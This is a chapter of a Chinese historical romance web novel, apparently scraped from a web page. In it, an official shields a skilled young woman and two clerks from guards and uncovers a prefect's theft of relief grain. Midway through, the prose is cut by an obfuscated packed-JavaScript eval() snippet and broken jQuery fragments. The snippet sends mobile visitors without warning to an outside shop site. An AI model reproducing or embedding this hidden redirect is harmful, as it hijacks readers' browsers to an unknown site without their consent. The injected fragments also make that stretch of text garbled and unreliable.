三个侍卫一道挤进屋内,本就不大的空间瞬间显得逼仄。
沈让尘眉头一皱,显露出一副睡前被打搅的模样:
“的确打搅到我了,这么晚了有什么事?”
虽说他是被拘在府衙,但作为朝廷命官,那知府明面上还是不敢对他做什么,只能好吃好喝地伺候着,就连先前软禁他们得说成是保护几人的安危。
是以沈让尘虽住的偏了些,但平时来往的仆从和侍卫也不敢对他不敬。
此时,侍卫听他这么说,连忙又行一礼,道:
“前些时日府里抓到的窃贼,却在今晚被同伙救走,小的们奉命到此例行检查。事出紧急,还望大人见谅。”
例行检查,说的倒是好听。
沈让尘见另两个侍卫在他屋里翻来翻去,还频频向屏风后头望去,顿时冷笑一声:“我屋里就这么大,还能藏个贼不成。这就是贵府的待客之道?”
语毕,他抱起胳膊,脸色愈加不耐,这幅坦然且不悦的模样太过真实,叫人想不到此时那罪魁祸首,其实就趴在他腿边。
领头的侍卫闻言,也不知如何应答,他抬头看向面前这位年轻的官员,只见他中衣单薄,肩上披了个外衣,微湿的发尾垂落胸前,一副沐浴后准备就寝的样子。
知府大人貌似还有求于这沈相,可那窃贼三人的确是往这个方向逃的,侍卫心想,这可真是难为他们。
好在他只在内心抓耳挠腮片刻,就听沈让尘开口:
“我平素最是厌烦他人动我东西。”他微抬起脸,犀利的眼神扫过这三个侍卫,平白给人一股压迫感,末了又轻飘飘补上一句,“今日之事特殊,便给你们破个例。你们半夜追查也不容易,瞧两眼便走吧。”
打个巴掌再给个甜枣,此话一出,屋里三个侍卫只觉得沈相通情达理。
府里沉塘之事本就是秘密进行,知道的人越少越好,他们作为临时搬来的救兵,只知道要抓的是窃贼,而沈相和那窃贼无甚关系,怎么会冒着风险藏匿贼人。
是以,他们干脆将整个屋子绕了一圈,见那屏风后头也没人,便告辞往远处追查去了。
屋外脚步声逐渐远去。
沈让尘隔了一会,才掀开桌布。桌下的人先是被光亮刺得眯起眼,后又仰头看向他,一双眼透亮。
这个角度看去,只觉得她的眼睛更大了。
沈让尘怔了一瞬,心下不易察觉地泛起些柔软的情绪。
江试玉蜷着身子在木桌下呆久了,好不容易见侍卫离开,赶忙自桌底钻出来。
木桌略矮,她又太过心急,一个不慎便又撞到了桌板。
嘶……她想伸手去摸痛处,一双温暖的大手却先他一步。
江试玉一愣,只觉得后脑的痛处被源源不断的暖意包裹,软乎乎的,痛感竟一下子减轻许多。
“多,多谢……”她愣愣地蹲着,脑袋又被轻抚几下,那双手才离开。
江试玉站起身,那一点痛意对她来说不算什么,片刻便消去了。她看向坐在木椅上的沈让尘,这人一身清香盈盈,嘴角微弯,丝毫不见先前在侍卫面前佯装的倨傲:
“无妨,下回注意些。”
另一头的衣柜传出动静,江试玉的目光被吸引,看着衣柜里两人艰难地爬出来,自然也没注意到沈让尘正望着自己的手掌出神。
那两人扶着墙面堪堪站定,他们拍着自己的胸脯,艰难地顺着气,还发出些呜呜的鼻音。
江试玉这才想起来,忘记帮他们把堵嘴的布巾取下来了。
她上前揪下那布巾,由着两人平复呼吸,正好趁着这空档将事情来由同沈让尘说了一遍。
听罢,沈让尘点头,又看向衣柜边上那两人,开口道:
“你们可知,自己因何而沉塘?”
许是被戳中冤屈,两人皆是一脸苦相,其中一人激愤道:
“怎会不知!我二人是专管粮食的仓吏,外头运来的救济粮皆由我二人负责看守。”
另一人接上:“前些时日新运来一批粮食,上头的仓官命我们前去交接,可到地方一看,本该归救济粮的那一份比簿子上写的足足少了六成。”
两人你一句我一句的说着,这才将事情说清。
原来这二人皆是孤儿,漂泊无依地生活在此处,幼时有幸学会识字,长大了便四处做活谋生。
自打上月安成突逢水患,为救灾拨去了一部分官吏,其余各处人手告急,官仓便对民间招些小吏,待遇俸禄同正经官吏差不了多少。
两人得了这机会喜不自胜,哪知一上任便发觉这粮食数目不对,可上官权势浩大,再三威胁之下他们哪还敢质疑,只得老老实实管着粮仓。
今日下值刚回了屋里便晕过去,再醒来,他们的手脚便被捆住,只能依稀认出自己身在知府。
他们从未得罪过什么人,接触到最厉害的人物也只是他们的上官。想起那数目不对的粮食,他们便是猜也能猜出来这是知府要灭口,定是他们知道了些不该知道的东西。
“但小的不明白,为何突然要将我们灭口。”
他们想到自己还待在知府,面上全然没有劫后余生的喜悦,身子还微微打颤。不过看着面前的一女一男,一个身手极好,同时拎他们二人都不吃力,另一个看着权力不小,一时间,两人畏惧的心都被抚平了些。
沈让尘递去两盏茶,他听了这些话,心下了然。自然是因为知府被密信逼急了,这二人虽只是小吏,却刚好能接触到他染指救济粮的证据,加上这两人没有旁的亲人,突然消失也不会有人察觉。
刘仲定然会将他们灭口,减少被揭发的风险。
只是可惜这两个仓吏,只是看管粮仓,却被无端卷入此事。他们二人差点被自己的密信间接害死,沈让尘眼睫微颤。
为了拯救多数人,清除刘仲这一蠹虫,定会有少数人为此牺牲。但无辜之人就在自己眼下被害,沈让尘没法无动于衷。
幸好,幸好。
他看向身边之人,幸好她来的及时,能救下这二人。
屋外狂风骤起,卷着雨丝打在窗沿,潮湿的气息蔓延。
江试玉觉得奇怪,往身旁看了一眼,正好对上沈让尘那温软的眼神。
什么情况
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825064|209868||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?江试玉在内心挠了挠头,为什么沈公子的眼神有种“慈爱”的感觉。她突然想起了江府的杨嬷嬷,好像她平时也是这般看向自己的,但沈公子的眼神又和杨嬷嬷的不太一样,至于哪里不一样,她还想不出来。
想不通就不想了。江试玉豁然地盯回去,黑白分明的眼里不掺杂任何情感。
那头两个仓吏喝了热茶,胃里头暖暖的,连带着周身都松懈下来。心情平复后,他们这才想起道谢:
“多谢姑娘、公子救命之恩!日后若有吩咐,小的们定赴汤蹈火,在所不辞!”
“不必日后。”沈让尘道,“沈某眼下便有一事相求。”
*
屋外雨声渐歇,蝉鸣声透过雨雾,此起彼伏。
江试玉起身告辞,正想着如何避开侍卫出府,就听沈让尘道:
“我今日无事闲逛,在后院偏僻处发现一个洞口,被乱草遮掩才未被发觉。”
后院偏僻,墙面老化未及时修缮,那洞口估计是墙面开裂,又被府里养着护院的犬刨破之后形成的。
他自个为了稳住知府,不方便逃走。不过今晚整个府衙加强巡逻,自那个洞口逃出去倒是个好方法。
待沈让尘细细说了那洞口的位置,还有周边的样貌,江试玉这才带了人离开。
绕过假山,到了后墙,便见满满一片的爬山虎。正值夏季,那绿叶宽大,将墙面遮得严实,夜色下透出些森然的幽绿。
再向西边摸索而去,爬山虎逐渐被杂乱的草丛代替。江试玉几人无声走着,尖翘的草叶划过靴子,又被踩地倒伏在地。
很快,那洞口出现在三人眼前。
两个仓吏也不管这洞口是不是狗洞了,都死里逃生了,他们还有什么可挑剔的呢?两人掀了衣摆,伏低身子膝行出去。
到了墙外,两人的衣袍均湿漉漉的沾满泥土,上头还残留了些草叶。他们想到救命恩人一个姑娘家,也要受这等罪,正想叹气,却听墙头传来些动静。
抬头一看,就见一个深色的身影掠过,又轻巧地落在他们面前。
江试玉拍了拍手上尘灰,抬头看向目瞪口呆的两人,疑惑道:“怎么了?”
“无事,无事。”两人摇头。
要是他们也有这等身手就好了。他们看了看自己一身的狼狈,又看了看江试玉清爽的衣袍,心里欲哭无泪。
方才商讨的那半个时辰里,他们已下定决心,一道隐姓埋名,北上谋生,离开这个差点害死他们的地方。
如今月落星稀,再过几个时辰便是黎明。
他们向江试玉躬身,郑重地作揖,再抬头,眼里隐约有些泪意,一如江南潮湿的雨意。
“姑娘,就此别过。”
江试玉也回以一礼,目送那两道背影渐渐远去,后又被夜色一寸寸吞没。
或许是雨后空气过于湿润,衬得她心思也有些沉重。像她这样的人,早该习惯了离别。
本是顺手救的人,竟刚好有所助益,兴许是老天都在帮他们吧。
江试玉抬头望向天空,目光坚定,很快便收回视线,静静往粮铺走去。